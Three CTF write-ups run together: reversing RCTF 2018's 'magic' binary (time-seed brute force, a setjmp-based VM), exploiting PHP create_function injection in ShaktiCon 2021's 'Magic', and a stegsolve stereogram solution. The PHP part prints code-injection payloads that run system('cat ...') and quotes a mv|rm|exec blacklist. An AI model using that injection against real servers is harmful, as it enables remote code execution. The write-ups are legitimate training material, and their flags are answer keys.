**Description**

> right time, right spell, right flag.  
>  
> attachment:
> https://drive.google.com/open?id=13Di0J0NeDw6CeQ8W4wqKyLpx0vFtKZM0

**Solution**

Put into IDA, look at `main`:

```c  
int __cdecl main(int argc, const char **argv, const char **envp)  
{  
signed int v3; // eax  
unsigned __int8 v5[32]; // [rsp+20h] [rbp-30h]  
_DWORD a2[4]; // [rsp+48h] [rbp-8h]

sub_403310();  
a2[1] = time64(0i64);  
a2[0] = rand();  
if ( exchange_by_xor(&a2[1], a2) && exchange_by_xor(&a2[1], &a2[1]) )  
{  
puts("flag only appears at a specific time, range [2018-05-19 09:00,
2018-05-21 09:00)\nBetter luck next time :)");  
}  
//...  
}  
unsigned __int32 __fastcall exchange_by_xor(_DWORD *a1, _DWORD *a2)  
{  
*a1 ^= *a2;  
*a2 ^= *a1;  
*a1 ^= *a2;  
return *a1;  
}//exchange the *a1 and *a2 only when a1 != a2, or else set all of them to 0  
```

In `main`, there are some operations: it seems that we want the first check to
be false; however, it's already false, since the `xor_exchange` is problematic
when a1 and a2 are same address (this has been coverd in CSAPP). And indeed,
if we set breakpoint at the entrypoint of `main`, we will get error massage
immediately, which suggests that the error message is **not the one from main
function**.

Actually, I got stuck here for a while since initially I didn't realize it is
a "and" but thought it is a "or" :(

Thus, if we set the breakpoint at `puts` to obtain where the message occurs,
we can get a stack trace:

```c  
__int64 __fastcall dynamic_str_gen(char *a4, char *a3, signed int size, char
*buf)  
{  
unsigned int v4; // ST2C_4  
const char *a4a; // [rsp+40h] [rbp+10h]  
signed int a3a; // [rsp+48h] [rbp+18h]  
int a5a; // [rsp+50h] [rbp+20h]

a4a = a4;  
a3a = (signed int)a3;  
a5a = size;  
xor_with_32key((unsigned int)a4, (unsigned int)a3, size);  
v4 = puts(a4a);  
xor_with_32key((unsigned int)a4a, a3a, a5a);  
return v4;  
}

__int64 __fastcall sub_402357(__time64_t *a1, char **a2)  
{  
__int64 result; // rax  
int v3; // eax  
char *v4; // r9

sub_402268(a1, (__int64)a2);  
result = (unsigned int)not_0_key[0];  
if ( !not_0_key[0] )  
{//we don't want this, so need not_0_key[0] to be true  
v3 = strtol("ca11ab1e", 0i64, 16);  
result = dynamic_str_gen(&a4, (char *)0x69, v3 ^ 0xBADD1917, v4);  
}  
return result;  
}

/*  
0000000000402248  
00000000004023AA  
00000000004032D2//possibly system callback call(retrieve things from array)  
//000007FF756A13D2  
00000000004013CA  
000000000040152B  
//0000000078D359CD  
*/  
```

Indeed, this is called before `main` function is called. So when will this
happen? For example, in C++, the constructor of any global object will be
called before `main` is called.

Take a look at `sub_402268`:

```c  
__int64 __fastcall sub_402268(__time64_t *a1, __int64 a2)  
{  
__int64 result; // rax  
char *v3; // r9  
unsigned __int32 v4[2]; // [rsp+20h] [rbp-10h]  
unsigned int Seed; // [rsp+28h] [rbp-8h]  
int i; // [rsp+2Ch] [rbp-4h]

Seed = time64(0i64);  
if ( Seed <= 0x5AFFE78F || Seed > 0x5B028A8F )  
return 0i64;  
srand(Seed);  
for ( i = 0; i <= 255; ++i )  
critical_key[i] ^= rand();  
//This function is basically to generate an array of random numbers  
//based on current time64(), which is the input as the hint said.  
sub_4027ED(critical_key, &v4[1], v4, v3, 0i64);  
if ( v4[1] == 0x700 )  
{  
not_0_key[0] = v4[0]; // purpose  
result = v4[0];  
}  
else  
{  
not_0_key[0] = 0;  
result = 0i64;  
}  
return result;  
}

_DWORD *__fastcall sub_4027ED(char *a1, _DWORD *a2,  
_DWORD *want_0x700, char *critical_key, _DWORD *want_no0)  
{  
_DWORD *result; // rax  
__int64 v6; // [rsp+0h] [rbp-80h]  
struc_1 a4[256]; // [rsp+20h] [rbp-60h]  
int i; // [rsp+C2Ch] [rbp+BACh]  
char vars0[8]; // [rsp+C30h] [rbp+BB0h]  
char *ckeys; // [rsp+C40h] [rbp+BC0h]  
_DWORD *v11; // [rsp+C48h] [rbp+BC8h]  
_DWORD *v12; // [rsp+C50h] [rbp+BD0h]

ckeys = a1;  
v11 = a2;  
v12 = want_0x700;  
memset(&v6 + 4, 0, 0xC00ui64);  
for ( i = 0; i <= 255; ++i )  
{  
vars0[12 * i - 0xC10] = ckeys[i]; // IDA problematic? a4[i] accessing  
*(_DWORD *)&vars0[12 * i - 0xC0C] = 0x7FFFFFFF;  
*(_DWORD *)&vars0[12 * i - 0xC08] = 0;  
sub_4026D0(a4, i);  
}  
*v11 = a4[255].want_0x700;  
result = v12;  
*v12 = a4[255].want_no0;  
return result;  
}

void __fastcall sub_4026D0(struc_1 *a4, unsigned int i)  
{  
struc_1 *low_16_struc1; // rax  
struc_1 *v3; // rax  
int v4; // [rsp+24h] [rbp-1Ch]  
struc_1 *low_16_struc1_; // [rsp+30h] [rbp-10h]  
struc_1 *overall_struc1; // [rsp+38h] [rbp-8h]  
struc_1 *rcx_Arg; // [rsp+50h] [rbp+10h]  
unsigned int idx; // [rsp+58h] [rbp+18h]

rcx_Arg = a4;  
idx = i;  
overall_struc1 = safe_arr_access(a4, i);  
if ( overall_struc1 )  
{  
if ( idx & 0xF )  
low_16_struc1 = safe_arr_access(rcx_Arg, idx - 1);  
else  
low_16_struc1 = 0i64;  
low_16_struc1_ = low_16_struc1;  
if ( idx + 15 <= 30 ) // if (idx <= 15)  
v3 = 0i64;  
else  
v3 = safe_arr_access(rcx_Arg, idx - 16); // >15, access -16  
// so for first 0-15,this will return 0  
if ( low_16_struc1_ || v3 )  
{  
if ( low_16_struc1_ )  
{  
overall_struc1->want_0x700 = overall_struc1->key + low_16_struc1_->want_0x700;  
overall_struc1->want_no0 = 2 * low_16_struc1_->want_no0;  
}  
if ( v3 )  
{  
v4 = v3->want_0x700 + overall_struc1->key;  
if ( v4 < overall_struc1->want_0x700 )  
{  
overall_struc1->want_0x700 = v4;  
overall_struc1->want_no0 = 2 * v3->want_no0 | 1;  
}  
}  
}  
else  
{  
overall_struc1->want_0x700 = overall_struc1->key;  
}  
}  
}

/* where struc_1 is  
00000000 struc_1 struc ; (sizeof=0xC, mappedto_17)  
00000000 ; XREF: sub_4027ED/r  
00000000 key db ?  
00000001 db ? ; undefined  
00000002 db ? ; undefined  
00000003 db ? ; undefined  
00000004 want_0x700 dd ? ; XREF: sub_4027ED+10C/r  
00000008 want_no0 dd ? ; XREF: sub_4027ED+11B/r  
0000000C struc_1 ends  
*/  
```

`sub_4026D0` is doing dynamic programming using previous result of array,
being called each time in the `for` loop of `sub_4027ED`. Finally, the element
at index 255 will be used to check.

Without understanding what this dynamic programming is doing, we can write a
bruteforce crack as shown.

```c  
uint8_t ckeys1[] = {88, 113, 143, 50, 5, 6, 81, 199, 167, 248, 58, 225, 6, 72,
130, 9, 161, 18, 159, 124, 184, 42, 111, 149, 253, 208, 103, 200, 227, 206,
171, 18, 31, 152, 107, 20, 234, 137, 144, 33, 45, 253, 154, 187, 71, 204, 234,
156, 215, 80, 39, 175, 185, 119, 223, 197, 233, 225, 80, 211, 56, 137, 239,
45, 114, 194, 223, 243, 125, 125, 101, 149, 237, 19, 0, 28, 163, 60, 227, 87,
227, 247, 247, 44, 115, 136, 52, 177, 98, 211, 55, 25, 38, 190, 178, 51, 32,
63, 96, 57, 135, 166, 101, 173, 115, 26, 109, 73, 51, 73, 192, 86, 0, 190, 10,
207, 40, 126, 142, 105, 135, 225, 5, 136, 218, 84, 62, 60, 14, 169, 250, 215,
127, 78, 68, 198, 154, 10, 210, 152, 106, 164, 25, 109, 140, 225, 249, 48,
229, 255, 51, 74, 169, 82, 58, 13, 103, 32, 29, 191, 54, 62, 232, 86, 191, 90,
136, 168, 105, 214, 171, 82, 241, 20, 242, 215, 239, 146, 247, 160, 112, 161,
239, 227, 31, 102, 43, 151, 246, 43, 48, 15, 176, 180, 192, 254, 166, 98, 253,
230, 76, 57, 207, 32, 179, 16, 96, 159, 52, 190, 178, 28, 59, 107, 29, 223,
83, 114, 242, 250, 177, 81, 130, 4, 48, 86, 31, 55, 114, 122, 151, 80, 41,
134, 74, 9, 60, 89, 196, 65, 113, 248, 26, 210, 48, 136, 99, 255, 133, 222,
36, 140, 195, 55, 20, 199};  
uint8_t buf[256];  
struct struc_1  
{  
int8_t key;  
//not uint8_t, which will give multiple solutions  
//obey the IDA, always !!!  
int32_t want_0x700;  
int32_t want_no0;  
};

struct struc_1 dp_struc[256];

struc_1* safe_arr_access(struc_1 *structs, signed int i)  
{  
struc_1 *result; // rax

if (i >= 0 && i <= 255)  
result = &structs[i];  
else  
result = 0LL;  
return result;  
}

void sub_4026D0(struc_1 *a4, unsigned int i)  
{  
struc_1 *low_16_struc1; // rax  
struc_1 *v3; // rax  
int v4; // [rsp+24h] [rbp-1Ch]  
struc_1 *low_16_struc1_; // [rsp+30h] [rbp-10h]  
struc_1 *overall_struc1; // [rsp+38h] [rbp-8h]  
struc_1 *rcx_Arg; // [rsp+50h] [rbp+10h]  
unsigned int idx; // [rsp+58h] [rbp+18h]

rcx_Arg = a4;  
idx = i;  
overall_struc1 = safe_arr_access(a4, i);  
if (overall_struc1)  
{  
if (idx & 0xF)  
low_16_struc1 = safe_arr_access(rcx_Arg, idx - 1);  
else  
low_16_struc1 = 0i64;  
low_16_struc1_ = low_16_struc1;  
if (idx + 15 <= 30) // if (idx <= 15)  
v3 = 0;  
else  
v3 = safe_arr_access(rcx_Arg, idx - 16); // >15, access -16  
// so for first 0-15,this will return 0  
if (low_16_struc1_ || v3)  
{  
if (low_16_struc1_)  
{  
overall_struc1->want_0x700 = overall_struc1->key + low_16_struc1_->want_0x700;  
overall_struc1->want_no0 = 2 * low_16_struc1_->want_no0;  
}  
if (v3)  
{  
v4 = v3->want_0x700 + overall_struc1->key;  
if (v4 < overall_struc1->want_0x700)  
{  
overall_struc1->want_0x700 = v4;  
overall_struc1->want_no0 = 2 * v3->want_no0 | 1;  
}  
}  
}  
else  
{  
overall_struc1->want_0x700 = overall_struc1->key;  
}  
}  
}

int main()  
{  
for (size_t t = 0x5AFFE78F; t <= 0x5B028A8F; t++)  
{  
srand(t);  
for (size_t i = 0; i < 256; i++)  
{  
buf[i] = ckeys1[i] ^ rand();  
}  
for (size_t i = 0; i < 256; i++)  
{  
dp_struc[i].key = buf[i];  
dp_struc[i].want_0x700 = 0x7fffffff;  
dp_struc[i].want_no0 = 0;  
sub_4026D0(dp_struc, i);  
}  
if (dp_struc[255].want_0x700 == 0x700 && dp_struc[255].want_no0 != 0)  
printf("%x\n", t);//0x5b00e398  
}  
system("pause");  
return 0;  
}  
```

Patching `time64()` to `mov rax,0x5b00e398`, we can proceed to the next phase.
Also, by setting breakpoints at `puts`, we can get this stack frame:

```c  
//0000000000402248  
//0000000000402407  
__int64 __fastcall critical_4023B1(char *a1, __int64 a2, __int64 a3, char *a4)  
{  
char *v4; // r9  
const char *v5; // rcx  
char *v6; // r9  
char *v7; // r9  
struc_2 *input; // [rsp+20h] [rbp-30h]  
__int64 v10; // [rsp+28h] [rbp-28h]  
__int64 v11; // [rsp+30h] [rbp-20h]  
__int64 v12; // [rsp+38h] [rbp-18h]  
struc_2 a5; // [rsp+43h] [rbp-Dh]

if ( !not_0_key[0] )  
exit(0);  
LOBYTE(a5.field_0) = 0;  
a5.field_0 = not_0_key[0];  
dynamic_str_gen(&buf, (char *)0x31, not_0_key[0], a4);  
input = 0i64;  
v10 = 0i64;  
v11 = 0i64;  
v12 = 0i64;  
LODWORD(input) = 538976288;  
a5.input = (char *)&input + 4;  
scanf("%26s", (char *)&input + 4);  
sym_encode((__int64)a5.input, 26i64, (unsigned __int64)&a5, (char *)4, input,
v10);  
if ( !(unsigned int)need_return_non0(a5.input) )  
return dynamic_str_gen(&byte_4052D1, (char *)6, not_0_key[0], v4);  
sym_encode((__int64)a5.input, 26i64, (unsigned __int64)&a5, (char *)4, input,
v10);  
sub_401FFB(v5);  
dynamic_str_gen(&byte_4052E0, (char *)0x23, not_0_key[0], v6);  
puts((const char *)&input);  
return dynamic_str_gen(&byte_4052E0, (char *)0x23, not_0_key[0], v7);  
}

__int64 __usercall need_return_non0@<rax>(char *input@<rcx>)  
{  
int opcode; // eax  
int v2; // eax  
char Buf; // [rsp+20h] [rbp-110h]  
unsigned int v5; // [rsp+124h] [rbp-Ch]  
int v6; // [rsp+128h] [rbp-8h]  
int nxt_ip; // [rsp+12Ch] [rbp-4h]

strncpy(::input, input, 0x1Aui64);  
signal(SIGFPE, sub_402930);  
nxt_ip = 0;  
v6 = 1;  
v5 = 0;  
r1 = (unsigned __int64)keys;  
r2 = (unsigned __int64)::input;  
while ( v6 )  
{  
opcode = setjmp(&Buf;; // pre: nxt ip opcode + 1  
// post: next instruction opcode  
if ( opcode == 168 )  
{  
reg[vmcode[nxt_ip] >> 4] -= reg[vmcode[nxt_ip] & 0xF];  
++nxt_ip;  
}  
else if ( opcode > 168 )  
{  
if ( opcode == 172 )  
{  
reg[vmcode[nxt_ip] >> 4] &= reg[vmcode[nxt_ip] & 0xF];  
++nxt_ip;  
}  
else if ( opcode > 172 )  
{  
if ( opcode == 174 )  
{  
reg[vmcode[nxt_ip] >> 4] ^= reg[vmcode[nxt_ip] & 0xF];  
++nxt_ip;  
}  
else if ( opcode < 174 )  
{ // 173  
reg[vmcode[nxt_ip]] = (unsigned __int8)~LOBYTE(reg[vmcode[nxt_ip]]);  
++nxt_ip;  
}  
else  
{  
if ( opcode != 175 )  
goto LABEL_43;  
r8_ = vmcode[nxt_ip] >> 4; // 175  
r9_ = vmcode[nxt_ip] & 0xF;  
if ( !setjmp(::Buf) ) // always 0 FIRST TIME  
vmcode[nxt_ip] = r8_ / vmcode[nxt_ip + 1];  
nxt_ip += 2;  
}  
}  
else if ( opcode == 170 )  
{  
reg[vmcode[nxt_ip]] = reg[vmcode[nxt_ip + 1]];  
nxt_ip += 2;  
}  
else if ( opcode > 170 ) // 171  
{  
reg[vmcode[nxt_ip]] = vmcode[nxt_ip + 1];  
nxt_ip += 2;  
}  
else  
{ // 169  
reg[vmcode[nxt_ip] >> 4] += reg[vmcode[nxt_ip] & 0xF];  
++nxt_ip;  
}  
}  
else if ( opcode == 163 )  
{  
reg[vmcode[nxt_ip] >> 4] |= reg[vmcode[nxt_ip] & 0xF];  
++nxt_ip;  
}  
else if ( opcode > 163 ) // < 168  
{  
if ( opcode == 166 )  
{  
if ( !r5 )  
nxt_ip += (char)vmcode[nxt_ip];  
++nxt_ip;  
}  
else if ( opcode > 166 ) // 167  
{  
if ( r5 )  
nxt_ip += (char)vmcode[nxt_ip];  
++nxt_ip;  
}  
else  
{  
if ( opcode != 165 )  
goto LABEL_43;  
nxt_ip += vmcode[nxt_ip];  
++nxt_ip;  
}  
}  
else if ( opcode == 160 )  
{  
reg[vmcode[nxt_ip]] = *(unsigned __int8 *)reg[vmcode[nxt_ip]];  
++nxt_ip;  
}  
else if ( opcode == 162 )  
{  
++nxt_ip;  
reg[vmcode[nxt_ip]] >>= reg[vmcode[nxt_ip]];  
++nxt_ip;  
}  
else  
{  
if ( !opcode )  
{  
v2 = nxt_ip++;  
longjmp_0(&Buf, vmcode[v2]);  
}  
LABEL_43:  
v6 = 0;  
v5 = r5;  
}  
}  
return v5;  
}  
```

`need_return_non0` is a virtual machine based on `setjmp`, which returns 0 at
the first time, and returns non-zero by calling `long_jmp`, which is the
opcode as shown. More detail:
[http://en.cppreference.com/w/cpp/utility/program/setjmp](http://en.cppreference.com/w/cpp/utility/program/setjmp)

The opcodes are not so long and not so hard, so I did it by hand. One
instruction is interesting:

```c  
r8_ = vmcode[nxt_ip] >> 4; // 175  
r9_ = vmcode[nxt_ip] & 0xF;  
if ( !setjmp(::Buf) ) // always 0 FIRST TIME  
vmcode[nxt_ip] = r8_ / vmcode[nxt_ip + 1];  
// for every 175 instruction, this is 0  
// which throw the exception being handled in sub_402930  
nxt_ip += 2;

void __fastcall __noreturn sub_402930(__int64 a1, void (__cdecl *a2)(int),
__int64 a3, int a4)  
{  
if ( (_DWORD)a1 == SIGFPE )  
{  
signal(SIGFPE, sub_402930);  
reg[r8_] = reg[r8_] == reg[r9_];  
longjmp_0(Buf, 0);  
}  
exit(1);  
}  
/*  
This actually means  
175:  
r8=rah, r9=ral  
if (bb == 0)  
r[r8] = reg[r8] == reg[r9]  
else  
aa = r8 / bb

where  
aa is first agument, bb is second argument  
xh is high nibble, xl is low nibble

This can be used to do conditional jmp  
*/  
```

After translating, the virtual machine is basically doing:

```  
; r1 = (unsigned __int64)keys;  
; r2 = (unsigned __int64)::input;  
movzx r3,0  
movzx r4,26  
movzx r0,102  
loop:  
mov r5,r2  
add r8,r3  
movzx r5, byte [r5]  
mov r6,204  
add, r8,r6  
movzx r6,255  
and r8,r6  
xor r8,r0  
not r0  
mov r6,r5  
mov r5,r1  
add 83  
movzx r5,[r5]  
r8 = 0, r9 = 6  
r5 jmp next:  
return r5  
next:  
add 53  
mov r5,r3  
r8 = 0, r9 = 4  
!r5 jmp ? jmp loop  
return r5

175:  
r8=rah, r9=ral  
if (bb == 0)  
r[r8] = reg[r8] == reg[r9]  
else  
aa = r8 / bb

174: xor rah,ral  
173: not raa(LOBYTE)  
172: and rah,ral  
171: movzx raa, bb  
170: mov raa,rbb  
169: add rah,ral  
167: r5 ? jmp nxtins + (sx)aa  
166: !r5 ? jmp nxtins + (sx)aa  
160: movzx raa,byte [raa]

aa is first agument, bb is second argument  
xh is high nibble, xl is low nibble  
```

Which is not hard to understand and write a bruteforce cracker for!

```c  
int main2()  
{  
uint8_t r0 = 102;  
for (size_t i = 0; i < 26; i++)  
{  
for (int c = 0; c < 256; c++)  
{  
if ((((c + 204) & 0xff) ^ r0) == ckeys2[i])  
{  
printf("%.2x", (uint8_t)c);  
}  
}  
r0 = ~r0;  
}//238cbefd25d765f4b6b3b60fe174a2effc384ed21a4ab11096a5  
system("pause");  
return 0;  
}  
```

However, this is not the flag, `sym_encode` is used to encode input first, so
we need to find an input that, when put into this encode function, produces
the result above. However, we don't need reverse this function, this encoding
is symetric, bacause it is called twice to the same input, and it gives input
(you may see this by debugging and changing the ZF bit even if the input is
incorrect), so `encode(encode(x)) = x`, which means `encode` = `decode`. So
what we need to do is to debug, set a breakpoint at `sym_encode`, run and give
it an arbitrary input, change the buffer of input to
`238cbefd25d765f4b6b3b60fe174a2effc384ed21a4ab11096a5`, step over
`sym_encode`, and see the flag in the buffer.

![input](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-05-19-RCTF/screens/magic-
flag.png)

And if we put this into the program, we can see:

![result](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-05-19-RCTF/screens/magic-
result.png)

Initially I didn't realize what this is, but after sending it by IM to ask my
teammates for help, I found that it is `rctf{h` clearly since the picture is
smaller in messenger :D

So the flag is:

`rctf{h@ck_For_fun_02508iO2_2iOR}`

Original writeup
(https://github.com/Aurel300/empirectf/blob/master/writeups/2018-05-19-RCTF/README.md#540-reverse
--magic).# Table of contents  
\- ## [Magic](#challenge-name--magic)  
  
\---

# Notes

### PC environments are Ubuntu and Kali Linux

\---

# Challenge Name : Magic

## Information  
### Challenge URL  
\- http://35.238.173.184/

### Useful endpoints  
\- http://35.238.173.184/admin.php

### Not useful endpoints  
\- http://35.238.173.184/rules.html  
\- http://35.238.173.184/chat.html  
\- http://35.238.173.184/report.html

By typing something into the form of http://35.238.173.184/admin.php and
submit it, it will show information about a deprecated php function
`create_function`

Some participants leaked the source code of `admin.php` and it's browsable at
http://35.238.173.184/2, we found it using `gobuster`

> Response of http://35.238.173.184/2  
```

<button type="button" class="close" data-dismiss="alert" aria-
label="Close"><span>×</span></button>  
Function declared.  
</div>  
';

include "flag.php";

if (isset ($_POST['c']) && !empty ($_POST['c'])) {  
$blacklist = "/mv|rm|exec/i";  
$code = $_POST['c'];  
if(strlen($code)>60) {  
die("too long to execute");  
}  
if(preg_match($blacklist,$code)){  
die("that's blocked");  
}  
$fun = create_function('$flag', $code);  
print($success);

}  
?>

<html>  
<head>  
<title>Bug Bounty</title>  
<link rel="stylesheet"
href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"
integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm"
crossorigin="anonymous" />  
<link rel="stylesheet" type="text/css" href="css/style.css" />  
</head>  
<body>  
<header>

...  
```

It's safe to say the exploit is `create_function`

## Our solution

First, on php manual https://www.php.net/manual/en/function.create-
function.php, it was stated that the function `create_function` _internally
performs eval()_, so we tried `echo "test";` as our first payload, but nothing
works.

Then, from the leaked source code, we noticed that
`display_errors`,`error_reporting` are turned on. Maybe we need to trigger
some error to print the value of flag? But we don't get any good result from
here either.

Lastly, we decided to have a look on the source code of `create_function` on
github.

https://github.com/php/php-
src/commit/ee16d99504f0014c3d292809da927fb622293f41#diff-
edb36f5f855ff35b1fedf54f66a089b9cf76dcad42eb94a3db70e0b88a0fe95fL1901

turns out `create_function` does something like this internally.  
```  
create a char* variable

append  
"function " +  
$SOME_DYNAMIC_NAME +  
"(" +  
$LIST_OF_ARGUMENTS +  
")" +  
"{" +  
$CODE_TO_EXECUTE +  
"}" +  
"\0"  
into char* variable

the char* variable are then passed to zend_eval_stringl() to be compiled and
executed

```  
and $CODE_TO_EXECUTE is the variable that we can control

We constructed a payload to check if we can print anything.

```  
}printf("printed some stuff!");function a(){  
```

![ss1.png](../files/ss1.png)

the payload works, so we assumed `echo` will able to print something and after
testing it's true.

next we tried payload

```  
}system("cat flag.php");function a(){  
```  
which gave us a fake flag

![fakeflag.png](../files/fakeflag.png)

then we tried a more powerful payload

```  
}system("cat *");function a(){  
```

and in the output we found the flag!

![final flag](../files/Screenshot%20from%202021-04-05%2012-40-37.png)

## Flag: shaktictf{p0tn714l_0f_func710n5_4r3_1nf1n173}

\---

## Foot Notes

FYI the real flag is in `1998_Dumb_secrets.php`

![ls output](../files/Screenshot%20from%202021-04-05%2012-13-23.png)

\---

Original writeup
(https://github.com/Nkzlxs/nkzlxs_ctf_writeups/tree/master/shakticon2021/web).We were given a picture, which was a stereogram.

The flag can be extracted with the tool stegsolve.jar.
https://github.com/eugenekolo/sec-
tools/blob/master/stego/stegsolve/stegsolve/stegsolve.jar

Using the tool and selecting Analyse/Stereogram Solver with the offset 72, we
get the flag `UMDCTF-{th15_15_b14ck_m4g1k}`.

Original writeup (https://github.com/keyboard-monkeys/ctf-
writeups/blob/main/2021-UMDCTF/steganography_magic.md).